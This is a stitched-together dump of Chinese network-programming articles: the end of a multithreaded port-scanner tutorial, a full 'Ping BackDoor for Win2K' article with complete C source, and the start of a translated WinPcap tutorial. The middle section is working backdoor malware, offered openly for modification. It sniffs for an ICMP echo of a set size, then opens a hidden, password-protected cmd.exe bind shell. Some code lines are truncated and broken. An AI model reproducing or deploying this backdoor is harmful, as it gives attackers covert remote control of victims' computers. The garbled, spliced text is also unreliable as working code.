if (CreateThread(NULL,
0,
DoScanPort,
(LPVOID)new short(pScanParam->nArrOfPorts[i]),
0,
&dwThreadId) != NULL)
{
g_nThreadCount ++;
}
}
}
else
{
for(i=pScanParam->iStartPort; i<=pScanParam->iEndPort; i++)
{
if (g_bTerminate)
{
break; //用户已发出结束扫描命令
}
while(g_nThreadCount >= g_nMaxThread)
{
Sleep(10);
}
   if (CreateThread(NULL, 0,
        DoScanPort, (LPVOID)new short(i), 0, &dwThreadId) !=
        NULL)
{
g_nThreadCount
        ++;
}
}
}

//等待各端口扫描线程结束
while
        (g_nThreadCount >
        0)
{
Sleep(50);
}
::SendMessage(g_hWnd,
        SCAN_THREAD, STARTSCAN_COMPLETE, 0);
delete
        pScanParam;
return
        ERROR_SUCCESS;
}
3、DoScanPort
        线程：
    这个线程负责具体扫描指定的端口，并将结果SendMessage给主对话框。下面是其代码：
DWORD WINAPI DoScanPort(LPVOID lpParam)
{
DWORD dwRet;
short nPort = *(short*) lpParam;
delete lpParam;

SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == INVALID_SOCKET)
{
AfxMessageBox("创建套接字失败!");
dwRet = ERROR_CREATE_SOCKET;
}
else
{
unsigned long flag = 1;
if ((ioctlsocket(sock, FIONBIO, &flag) != 0))
{
AfxMessageBox("未能改为非阻塞模式!");
dwRet = ERROR_MODIFY_FIONBIO;
}
else
{
sockaddr_in severAddr;
severAddr.sin_family = AF_INET;
severAddr.sin_port = htons(nPort);
severAddr.sin_addr.S_un.S_addr = g_ulAddr;
connect(sock, (sockaddr*)&severAddr, sizeof(severAddr));

struct fd_set mask;
FD_ZERO(&mask);
FD_SET(sock, &mask);

struct timeval timeout;
timeout.tv_sec = g_dwTimeOut / 1000;
timeout.tv_usec = g_dwTimeOut % 1000;

switch(select(0, NULL, &mask, NULL, &timeout))
{
case -1:
dwRet = ERROR_SELECT;
break;

case 0:
dwRet = ERROR_SELECT_TIMEOUT;
break;

default:
dwRet = ERROR_SUCCESS;
};
}
closesocket(sock);
}
g_nThreadCount --;
if (dwRet == ERROR_SUCCESS)
{
::SendMessage(g_hWnd, SCAN_THREAD, DOSCAN_FIND_PORT, nPort);
}
else
{
::SendMessage(g_hWnd, SCAN_THREAD, DOSCAN_END_PORT, nPort);
}
return dwRet;
}
三、运行结果
    本程序在VC6+WinXp下编写调试运行正确，在Win98下运行正确。
在我的计算机扫描本机1-5000号端口，超时设置1000ms，200个最大线程数，约需要45秒。当超时设置再短一些时速度可达每秒150个端口的速度。
四、结束语
    事实上，速度要想再提高，可能需要其它方法了。如果线程数开得过多，则由于线程的调度开销过大，速度反而会降低。如果超时设置过短，可能引起扫描的结果不正确（这须视网络情况决定），并且由于是多线程，超时等待的时间也可能小于因线程调度而等待的时间，则也不能提高速度。
    另外我还发现了一个问题，就是扫描本机时，如果以IP地址127.0.0.1时，则139＃端口没有开放；如果设置为本机的实际IP时则139＃端口是开放的，这不知是何原因，还望高手指点。
    本程序还有一个需要改进的地方，就是不象大多数端口扫描器可扫描指定的IP段，而只设计成扫描指定的某一台主机。


ping后门是如何实现
试验环境 Win2K + VC++6.0   试验环境 Win2K +
        VC++6.0

1. 初期的想法

在使用了小榕的Remotenc后，总觉得老是开放着一个端口不是很好，很容易被发现。能不能在Win2000下实现
象Ping BackDoor for Linux/Solaris等类似的功能呢？把这个后门安装成服务，但不开端口，当接收到特定
大小的ping 包以后，就打开一个特定的端口接收连接。OK，我来试试：）

2. 尝试

记得以前玩lion worm时改写过一个Ping BackDoor for
        Linux，所以开始时我就想能不能把这个移植到Win2000
下。于是就简单的改了一下，开了个连接，接受ICMP包（ICMP全称是Internet Control Message
        Protocol－－互联网控
制报文协议　它是IP协议的附属协议，用来传递差错报文以及其他需要注意的消息报文。我们常用的Ping就是用ICMP
来进行通讯的），以为Windows能象linux下一样乖乖的把收到的ICMP包交给自己的 socket，结果ping了老半天没收到
一个bit。
于是就开始在google上查找资料，最后终于知道了如果要在Win2000下实现类似Ping BackDoor
        for Linux的后门，
必须以 sniffer
        的方式监听ICMP包，而在win2000下写一个简单的sniffer并不需要自己编写驱动。：）中文详细资料
请看绿盟zhangbo的
        无需驱动程序的Sniffer－IPMon　一文, WinSock 2 允许程序使用WSAIoctl( )给一个SOCK_RAW类型
的socket设置SIO_RCVALL属性，该socket就可以收到所有经过本机的数据。

3.具体实现方法如下：

(1) 创建一个SOCK_RAW socket
// 创建一个原始socket, 接受所有接收的包(sniffer)
if ((socksniffer =
        WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED))
        == INVALID_SOCKET)
{
printf("WSASocket() failed: %d\n",
        WSAGetLastError());
return -1;
}

(2)
        将该socket与本机的某个网络接口绑定
// 取得本地地址
gethostname((char*)LocalName,
        sizeof(LocalName)-1);
if((hp = gethostbyname((char*)LocalName)) ==
        NULL)
{
return -1;
}
memset(&dest,0,sizeof(dest));
memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0],
        hp->h_length);　　// TCP嗅探选项
dest.sin_family = AF_INET;
dest.sin_port = htons(8000);　　　　　　　　　　　　// 指定任意端口
// socket
        bind
bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest));

(3) 用WSAIoctl( )给一个SOCK_RAW socket设置SIO_RCVALL属性
// 设置socket为接受所有包
WSAIoctl(socksniffer, SIO_RCVALL,
        &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen,
sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );

(4) 循环读取嗅探到的包，判断包的大小是否为设定要监听的包的大小再把数据交给 sniffer 解包程序处理
(当然你也可以先判断是否为ICMP包)
// 循环监听包的大小
while(1)
{
// 读数据
sread = recvfrom(socksniffer, recvbuf,
        MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen);
//
        如果读数据出错
if (sread == SOCKET_ERROR || sread 　　　　{
if
        (WSAGetLastError() == WSAETIMEDOUT)
continue;
printf("recvfrom failed: %d\n",WSAGetLastError());
return -1;
}
else
// 如果读到数据的大小 ==
        监听包的大小 + 28
if ( sread == packsize + 28)
{
//
        将接收到的数据交给 sniffer 解包程序处理
decode_sniffer(recvbuf, sread - 28,
        &from);
}
}

(5) sniffer 解包程序再判断读取的包是否为
        ICMP_ECHO ICMP回显请求报文
sniffer解包这里的处理很简单，大家可以任意发挥．：）

1.首先定义IP和ICMP首部，以便于解包程序解包
// 定义IP 首部
typedef
        struct iphdr
{
unsigned char h_verlen;　　　　　　//
        4位首部长度,4位IP版本号
unsigned char tos;　　　　　　// 8位服务类型TOS
unsigned short total_len;　　　　// 16位总长度(字节)
unsigned
        short ident;　　　　　　// 16位标识
unsigned short frag_and_flags;　　　　//
        3位标志位
unsigned char ttl;　　　　　　// 8位生存时间 TTL
unsigned
        char proto;　　　　　　// 8位协议(TCP, UDP 或其他)
unsigned short
        checksum;　　　　// 16位IP首部校验和
unsigned int sourceIP;　　　　　　//
        32位源IP地址
unsigned int destIP;　　　　　　// 32位目的IP地址
}
        IPHeader;　　　　　　　　　　// IP首部长度为20
// 定义ICMP首部
typedef struct
        _ihdr
{
unsigned char i_type;　　　　　　// 8位类型
unsigned char i_code;　　　　　　// 8位代码
unsigned short
        i_cksum;　　　　　　// 16位校验和
unsigned short i_id;　　　　　　//
        识别号(一般用进程号作为识别号)
unsigned short i_seq;　　　　　　// 报文序列号
}
        ICMPHeader;　　　　　　　　　　// ICMP首部长度为8

2.
        简单sniffer解包程序，如果收到的包为ICMP_ECHO 类型，且大小为监听的包的大小，就开一个bindshell
//
        简单Sniffer 解包程序
void decode_sniffer(char *buf, int bytes, struct
        sockaddr_in *from)
{
ICMPHeader *icmphdr;

// ICMP首部的地址等于buf+IP首部长度:buf+20
icmphdr =
        (ICMPHeader *)(buf + sizeof(IPHeader));
// 简单判断如果为icmp 请求包
if (icmphdr->i_type == ICMP_ECHO)
{
// bind
        shell
bindshell(NULL);
}
else
printf("\r\n Get Other Packets!");

return;
}

(6) bind shell的实现
1.在指定端口创建一个server
        socket接受连接
// 创建一个socket
bindServer = socket(AF_INET,
        SOCK_STREAM, IPPROTO_TCP);
// 服务器地址和端口指定
addrServer.sin_family = AF_INET;
addrServer.sin_port =
        htons(bport);
addrServer.sin_addr.s_addr = ADDR_ANY;
//
        设置超时60s
int TimeOut = 60000;
setsockopt(bindServer,
        SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut));
//
        监听端口
bind(bindServer, (struct sockaddr*)&addrServer,
        sizeof(addrServer));
listen(bindServer, 2);
printf("\r\n
        Bind Port on %d ok.", bport);
// 接受client连接
int iLen =
        sizeof(addrClient);

2.如果有连接进来就为连接新建一个socket句柄 getClient
// 接收1次连接
SOCKET getClient = accept(bindServer, (struct
        sockaddr*)&addrClient, &iLen);
if(getClient !=
        INVALID_SOCKET)
{
// 如果有连接进来设置延时为60S
int iTimeOut
        = 60000;
setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO,
        (char*)&iTimeOut, sizeof(iTimeOut));
}
else return -1;

3.有连接进来后开一个绑定cmd.exe的进程执行输入的命令，并把执行的结果返回给socket getClient
3.1 首先创建两个匿名管道，一个用于新进程的输入，一个用于新进程的输出
// 建两个匿名管道
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
SECURITY_ATTRIBUTES sa;
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); // pipe1
CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); // pipe2

3.2 创建一个绑定cmd.exe的进程, 由hReadPipe2读数据,向hWritePipe1写数据
// 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据
char cmdLine[]
        = "cmd.exe";
STARTUPINFO siinfo;
PROCESS_INformATION
        ProcessInformation;
ZeroMemory(&siinfo,sizeof(siinfo));
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_HIDE;
siinfo.hStdInput =
        hReadPipe2;　　　　　　　　　　　　// 新进程读取写入pipe2的数据
siinfo.hStdOutput =
        siinfo.hStdError = hWritePipe1;　　// 新进程向pipe1写数据
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);

3.3 循环读取hReadPipe1和连接是否有数据
把新进程的输出（hWritePipe1）数据写入新连接中，
把从socket
        getClient收到的数据写入进进程的输入管道（Pipe2）
unsigned long lBytesRead;
while(1)
{
// 检查管道pipe1是否有数据返回
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);

if(lBytesRead)
{
// 从管道pipe1读数据
ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;

// 把从管道pipe1读到的数据写入连接
        getClient
ret = send(getClient,Buff,lBytesRead,0);
if(ret 　　　　}
else
{
// 如果连接
        getClient 有接收到数据
lBytesRead = recv(getClient,Buff,1024,0);
if(lBytesRead 　　　　　　// 把从连接 getClient 读到的数据写入Pipe2
ret =
        WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}

(7) 程序完工:)

4. 附简单的 Ping BackDoor for Win2K 源代码
大家可以任意修改：）
ICMP Shell for Win2K 正在编写中,请稍侯.:)

/*
        ======================================================================

Ping BackDoor V0.1 For Win2K
Code by Lion. Welcome to
        Http://www.cnhonker.net

=========================================================================
        */

#include
#include
#include
//#include
#include

#define ICMP_ECHO
        8　　　　　　　　　　// ICMP回显请求报文的类型值为8
#define ICMP_ECHOREPLY 0　　　　　　//
        ICMP回显应答报文的类型值为0
#define SNIFFER_ICMP_SIZE 101　　　　// 监听ICMP包的大小
#define BIND_PORT 8080　　　　　　　　// 默认bind shell 端口
#define
        MAX_PACKET 10000　　　　　　// 最大ICMP包的大小
#define DEF_PASSWORD
        "givemeshell!" // 默认密码

#define xmalloc(s)
        HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,(s))

// 定义IP
        首部
typedef struct iphdr
{
unsigned char h_verlen;　　　　　　//
        4位首部长度,4位IP版本号　　　1
unsigned char tos;　　　　　　　　// 8位服务类型TOS　　　　　　　　1
unsigned short total_len;　　　　// 16位总长度(字节)　　　　　　　2
unsigned
        short ident;　　　　　　// 16位标识　　　　　　　　　　　2
unsigned short
        frag_and_flags;　　// 3位标志位　　　　　　　　　　2
unsigned char ttl;　　　　　　　　//
        8位生存时间 TTL　　　　　　　1
unsigned char proto;　　　　　　// 8位协议(TCP, UDP
        或其他)　　　　1
unsigned short checksum;　　　　// 16位IP首部校验和　　　　　　　　2
unsigned int sourceIP;　　　　　　// 32位源IP地址　　　　　　　　　4
unsigned
        int destIP;　　　　　　// 32位目的IP地址　　　　　　　　　4
} IPHeader;　　　　　　　　　　　　　　//
        IP首部长度为:　　　　　　　　20

// 定义ICMP首部
typedef struct _ihdr
{
unsigned char i_type;　　　　　　// 8位类型　　　　　　　　　　　　　1
unsigned char i_code;　　　　　　// 8位代码　　　　　　　　　　　　　1
unsigned
        short i_cksum;　　　　　　// 16位校验和　　　　　　　　　　2
unsigned short
        i_id;　　　　　　// 识别号(一般用进程号作为识别号)　　2
unsigned short i_seq;　　　　　　//
        报文序列号　　　　　　　　　　　2
} ICMPHeader;　　　　　　　　　　　　// ICMP首部长度为:　　　　　　　　　8

int sniffer();　　　　　　　　　　　　　　　　　　　　　　// 监听ICMP 大小
void
        decode_sniffer(char *, int, struct sockaddr_in *);　// 简单Sniffer 解包程序
DWORD CALLBACK bindshell(LPVOID);　　　　　　　　　　　　// bind shell

DWORD dwBufferLen[10];
DWORD dwBufferInLen =
        1;
DWORD dwBytesReturned = 0;
HANDLE bindthread;

// ICMPDoor 主函数
int main(int argc, char
        **argv)
{
WSADATA wsaData;
int retval;

//
        socket 初始化
if ((retval = WSAStartup(MAKEWORD(2,2), &wsaData))
        != 0)
{
printf("WSAStartup failed: %d\n",retval);
exit(-1);
}

// sniffer 开始
sniffer();

// socket 结束
WSACleanup();
return 0;
}

// sniffer 主函数
int sniffer()
{
int packsize
        = SNIFFER_ICMP_SIZE;
SOCKET socksniffer;
struct sockaddr_in
        dest,from;
struct hostent * hp;
int sread;
int fromlen
        = sizeof(from);
unsigned char LocalName[256];
char
        *recvbuf;

// 创建一个原始socket, 接受所有接收的包(sniffer)
if
        ((socksniffer = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0,
        WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
{
printf("WSASocket() failed: %d\n", WSAGetLastError());
return -1;
}

// 取得本地地址
gethostname((char*)LocalName, sizeof(LocalName)-1);
if((hp =
        gethostbyname((char*)LocalName)) == NULL)
{
return -1;
}
memset(&dest,0,sizeof(dest));
memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0],
        hp->h_length);　　// TCP嗅探选项
dest.sin_family = AF_INET;
dest.sin_port = htons(8000);　　　　　　　　　　　　　　　　　　　　// 指定任意端口
//
        socket bind
bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest));

// 设置socket为接受所有包
WSAIoctl(socksniffer,
        SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen,
        sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );

// 分配socket接收缓冲区大小为MAX_PACKET
recvbuf = (char
        *)xmalloc(MAX_PACKET);

// 循环监听包的大小
while(1)
{
// 读数据
sread = recvfrom(socksniffer, recvbuf,
        MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen);

// 如果读数据出错
if (sread == SOCKET_ERROR || sread
                {
if (WSAGetLastError() == WSAETIMEDOUT)
{
continue;
}
printf("recvfrom failed:
        %d\n",WSAGetLastError());
return -1;
}
else
//　　　　if ( sread >= 28)
// 如果读到数据的大小 == 监听包的大小 + 28
if ( sread == packsize + 28)
{
// 将接收到的数据交给
        sniffer 解包程序处理
decode_sniffer(recvbuf, sread - 28, &from);
}
}
return 1;
}

// 简单Sniffer 解包程序
void decode_sniffer(char *buf, int bytes, struct sockaddr_in *from)
{
ICMPHeader *icmphdr;

//
        ICMP首部的地址等于buf+IP首部长度:buf+20
icmphdr = (ICMPHeader *)(buf +
        sizeof(IPHeader));

/*
printf("\r\n %d bytes from
        %s,", bytes, inet_ntoa(from->sin_addr));　　　　// 取出接收数据
printf("
        ICMP_Type: %d", icmphdr->i_type);　　　　　　　　　　// 取出类型
printf("
        ICMP_Seq: %d\r\n", icmphdr->i_seq);　　　　　　　　　　// 取出序列号

//取出数据段 buf + 28 + i
for(int i = 0; i 　　{
printf("%c", *(buf + sizeof(IPHeader) + sizeof(ICMPHeader) +
        i));
}
*/

//　　if (icmphdr->i_type == ICMP_ECHO
        || icmphdr->i_type == ICMP_ECHOREPLY)
// 简单判断如果为icmp 请求包
if (icmphdr->i_type == ICMP_ECHO)
{
// bind shell
bindshell(NULL);

//　　　　DWORD bid;
//　　　　bindthread = CreateThread(NULL, 0, bindshell, 0, 0, &bid);
}
else
printf("\r\n Get Other Packets!");

return;
}

// bind shell函数
DWORD
        CALLBACK bindshell(LPVOID)
{
int bport = BIND_PORT;
SOCKET bindServer, getClient;
struct sockaddr_in addrServer,
        addrClient;
char Buff[4096];
char *messages =
        "\r\n======================== Ping BackDoor V0.1
        ========================\r\n========= Code by Lion. Welcome to Http://www.cnhonker.net
        =========\r\n";
char *getpass = "\r\n Your PassWord:";
char
        *passok = "\r\n OK! Please Enter:";
char *nothispass = "\r\n
        Sorry, Your PassWord Not Right.\r\n";
char *exitok = "\r\n Exit
        OK!\r\n";
int ret;

// 创建一个socket
bindServer
        = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

//
        服务器地址和端口指定
addrServer.sin_family = AF_INET;
addrServer.sin_port = htons(bport);
addrServer.sin_addr.s_addr = ADDR_ANY;

// 设置超时
int TimeOut = 60000;
setsockopt(bindServer, SOL_SOCKET,
        SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut));

//
        设置重复利用端口
UINT bReUser = 1;
setsockopt(bindServer,
        SOL_SOCKET, SO_REUSEADDR, (char*)&bReUser, sizeof(bReUser));

// 监听端口
bind(bindServer, (struct
        sockaddr*)&addrServer, sizeof(addrServer));
listen(bindServer,
        2);

printf("\r\n Bind Port on %d ok.", bport);

// 接受client连接
int iLen = sizeof(addrClient);

// 接收1次连接
getClient = accept(bindServer, (struct
        sockaddr*)&addrClient, &iLen);

if(getClient !=
        INVALID_SOCKET)
{
// 如果有连接进来设置延时为60S
int iTimeOut
        = 60000;
setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO,
        (char*)&iTimeOut, sizeof(iTimeOut));
}
else
return -1;

// 写欢迎信息
send(getClient,
        messages, strlen(messages), 0);

// 写密码验证信息
send(getClient, getpass, strlen(getpass), 0);

//
        接收数据
recv(getClient,Buff,1024,0);

// 验证密码
if(!(strstr(Buff, DEF_PASSWORD)))
{
//
        如果密码错误,写密码错误信息
send(getClient, nothispass, strlen(nothispass),
        0);
printf("\r\n PassWord Not Right!");
closesocket(getClient);
closesocket(bindServer);
return -1;
}

// 写通过验证信息
send(getClient, passok, strlen(passok), 0);

//
        建两个匿名管道
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
unsigned long lBytesRead;

SECURITY_ATTRIBUTES sa;
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;

CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);

STARTUPINFO siinfo;
char cmdLine[] = "cmd.exe";
PROCESS_INformATION ProcessInformation;

ZeroMemory(&siinfo,sizeof(siinfo));
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_HIDE;
siinfo.hStdInput =
        hReadPipe2;　　　　　　　　　　　　// 读取写入pipe2的数据
siinfo.hStdOutput =
        siinfo.hStdError = hWritePipe1;　　// 向这里写数据

printf("\r\n
        Pipe Create OK!");

// 创建一个cmd进程,
        由hReadPipe2读数据,向hWritePipe1写数据
int bread =
        CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);

while(1)
{
// 检查管道是否有数据返回
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);

if(lBytesRead)
{
// 从管道hReadPipe1读数据
ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;

//
        把从管道hReadPipe1读到的数据写入连接 getClient
ret =
        send(getClient,Buff,lBytesRead,0);
if(ret 　　　　}
else
{
// 如果连接 getClient 有接收到数据
lBytesRead =
        recv(getClient,Buff,1024,0);
if(lBytesRead
//
        把从连接 getClient 读到的数据写入hWritePipe2
ret =
        WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead > 4 && Buff[0]=='e' &&
        Buff[1]=='x' && Buff[2]=='i' && Buff[3]=='t')
{
// 写退出信息
send(getClient, exitok,
        strlen(exitok), 0);
closesocket(getClient);
closesocket(bindServer);
return 1;
}

if(!ret) break;
}
}

closesocket(getClient);
closesocket(bindServer);
return 1;
}

This
        file is decompiled by an unregistered version of ChmDecompiler.
Regsitered version does not show this message.
You can download
        ChmDecompiler at : http://www.zipghost.com/


WinPcap 教程

原文出处：http://winpcap.polito.it/docs/man/html/index.html
作者:
Loris Degioanni (degioanni@polito.it), NetGroup, Politecnico di Torino
http://winpcap.polito.it
译者:
记忆碎片 (val_cong@htomail.com)
http://www.s8s8.net
概述：
这篇教程将会指引读者逐步了解WinPcap编程, 从简单的基础函数(获取网络接口列表, 捕捉数据包)到更高级的内容(处理发送队列, 网络流量统计). 教程中包括一些代码片断, 以及一些简单但完整的例子, 读者可以参考这些例子更好的理解教程的内容. 这些例子全部用C语言写成, 所以基本的C语言编程知识是必要. 同时, 因为这篇教程的内容是与底层网络紧密相连的, 所以笔者假设读者已经具备有关网络和协议的相关知识.
译者的话：
WinPcap是一套免费的, 基于Windows的网络接口API, 它在底层网络操作方面对程序员很有帮助. 这篇文档翻译自 "WinPcap Documentation 3.0" 中的 "WinPcap tutorial: a step by step guide to program WinPcap" 一部分. 这篇教程对初学者的帮助很大, 尤其是简短清晰的例子, 但这篇教程只是整个文档的一小部分, 我认为你仍然需要参考文档的其它部分来了解各种结构等信息. 教程中注有前缀 "Y-" 的部分是译者为了让读者更明白作者的意思添加的, 原文中没有.
1. 获取网络接口列表
通常, 一个基于WinPcap的应用程序所要做的第一件事, 就是获得适合的网络接口的列表. Libpcap中的pcap_findalldevs()函数就是干这活的: 这个函数然回一个pcap_if结构的列表, 每个元素都记录了一个接口的信息. 其中, name和description以人类可以阅读的形式, 记录了设备的信息.
下面的源代码输出可用的网络接口的列表, 并且在没有找到任何借口的情况下输出错误信息：

代码
#include "pcap.h"
main()
{
pcap_if_t *alldevs;
pcap_if_t *d;
int i=0;
char
        errbuf[PCAP_ERRBUF_SIZE];
/* 取得列表 */
if
        (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 输出列表 */
for(d=alldevs;d;d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
/* Y- 没有有效的描述 */
printf(" (No description available)\n");
}
if(i==0)
{
/* Y- 没有有效的接口,
        可能是因为没有安装WinPcap */
printf("\nNo interfaces found! Make sure WinPcap
        is installed.\n");
return;
}
/* 我们不再需要列表了, 释放 */
pcap_freealldevs(alldevs);
}
我们来看看这段代码.
首先, 和其他的libpcap函数一样, pcap_findalldevs(), 有一个错误缓冲区(errbuf)参数. 这个参数是一个字符串指针, 一旦发生错误,libpcap将会在这里填入错误描述. 然后, 请注意, pcap_findalldev系统下的s()函数同时也被UNIX下的libpcap所支持, 但是并不是所有的操作系统都支持“网络接口描述”(description)这一项. 所以, 如果我们想写一个可以移植的的应用程序,那么我们必须要为描述为“空”(null)的情况做好准备：遇到这种情况我们就输出一个“没有有效的描述”的消息.
最后我们通过pcap_freealldevs()函数来释放接口列表.
现在让我们编译并运行我们的第一个WinPcap程序. 如果你使用UNIX或者Cgywin的话, 你只需要以下命令：
gcc -o testaprog testprog.c -lpcap
在Windows环境中(Y - 如果你使用Microsoft Visual C++), 你需要建立一个工程, 按照"Using WinPcap in your programs " 一节中说明来做.
不过, 我仍然建议你参照Winpcap开发者包(WinPcap developer's pack)中的例子, 那些例子包括了所以配置完善的工程, 以及全部你所需要的库和包含文件.
(Y - 你可以在本章最后找到Microsoft Visual C++ 的配置方法)
假设现在你已经成功编译了程序, 我们就来运行它. 在我的WinXP工作站上, 输出结果是：
1. {4E273621-5161-46C8-895A-48D0E52A0B83} (Realtek RTL8029(AS) Ethernet Adapter)
2. {5D24AE04-C486-4A96-83FB-8B5EC6C7F430} (3Com EtherLink PCI)
就如你所看到的, 网络接口的名称(当打开这个接口时, 需要传递这个名称给libpcap库)在windows环境下几乎是没有办法读懂的(Y-严重同意), 所以输出一个描述对于你的用户来说是非常有帮助的.

附注： Microsoft Visual C++ 工程的设置
1. 下载并安装 WinPcap, 推荐的版本是3.0
2. 从 http://winpcap.polito.it 下载 WinPcap Developer's Pack 并解压缩
3. 用 Microsoft Visual C++ 建立一个空工程 (empty project)
4. 复制源代码
5. 把 Winpcap Developer's Pack 中的 Includes 目录添加为新的包含文件目录
6. 添加库 wpcap.lib 和 wsock32.lib
原文出处：http://winpcap.polito.it/docs/man/html/index.html
作者:
Loris Degioanni (degioanni@polito.it), NetGroup, Politecnico di Torino
http://winpcap.polito.it
译者:
记忆碎片 (val_cong@htomail.com)
http://www.s8s8.net

2. 获取设备的高级信息
上一课我们介绍了如何获取一个设备的基本信息(比如设备名称和设备描述). 实际上, WinPcap 也可以为我们提供关于接口的更多信息. 由 pcap_findalldevs() 函数返回的 pcap_if 结构也包含了一个 pcap_addr 结构的列表, 它记录了以下信息:
1. 接口的地址列表
2. 接口的掩码列表 (与地址列表一一对应)
3. 接口的广播地址列表 (与地址列表一一对应)
4. 目标地址列表 (与地址列表一一对应)
下面例子中的 ifprint() 函数将会输出 pcap_if 结构的全部内容. 它包括了 pcap_findalldevs() 函数所返回的所有元素. ( Y- 全部有效接口)

代码

/*
* Copyright (c) 1999 - 2002
* Politecnico di Torino. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the Politecnico
* di Torino, and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#include "pcap.h"
#ifndef WIN32
#include
#include
#else
#include
#endif
void ifprint(pcap_if_t *d);
char *iptos(u_long in);
int main()
{
pcap_if_t *alldevs;
pcap_if_t *d;
char errbuf[PCAP_ERRBUF_SIZE+1];
/* 获得设备列表 */
if
        (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n",errbuf);
exit(1);
}
/* 遍历所有元素 */
for(d=alldevs;d;d=d->next)
{
ifprint(d);
}
return 1;
}
/* Print all the available information on the given interface */
void ifprint(pcap_if_t *d)
{
pcap_addr_t *a;
/* 名称 */
printf("%s\n",d->name);
/* 描述 */
if (d->description)
printf("\tDescription: %s\n",d->description);
/* 回环地址 */
printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no");
/* IP 地址 */
for(a=d->addresses;a;a=a->next) {
printf("\tAddress Family: #%d\n",a->addr->sa_family);
switch(a->addr->sa_family)
{
case
        AF_INET:
printf("\tAddress Family Name: AF_INET\n");
if
        (a->addr)
/* Y- IP 地址 */
printf("\tAddress:
        %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
if (a->netmask)
/* Y- 掩码 */
printf("\tNetmask:
        %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
if (a->broadaddr)
/* Y- 广播地址 */
printf("\tBroadcast
        Address: %s\n",iptos(((struct sockaddr_in
        *)a->broadaddr)->sin_addr.s_addr));
if (a->dstaddr)
/*
        Y - 目标地址 */
printf("\tDestination Address: %s\n",iptos(((struct
        sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
break;
default:
/* 未知 */
printf("\tAddress Family Name:
        Unknown\n");
break;
}
}
printf("\n");
}
/* 来自 tcptracert, 把数字IP地址转换为点格式 */
#define
        IPTOSBUFFERS 12
char *iptos(u_long in)
{
static char
        output[IPTOSBUFFERS][3*4+3+1];
static short which;
u_char *p;
p = (u_char *)&in;
which = (which + 1
        == IPTOSBUFFERS ? 0 : which + 1);
sprintf(output[which],
        "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
return output[which];
}
原文出处: http://winpcap.polito.it/docs/man/html/index.html
作者:
Loris Degioanni (degioanni@polito.it), NetGroup, Politecnico di Torino
http://winpcap.polito.it
译者:
记忆碎片 (val_cong@htomail.com)
http://www.s8s8.net
3. 打开一个接口并捕捉流量
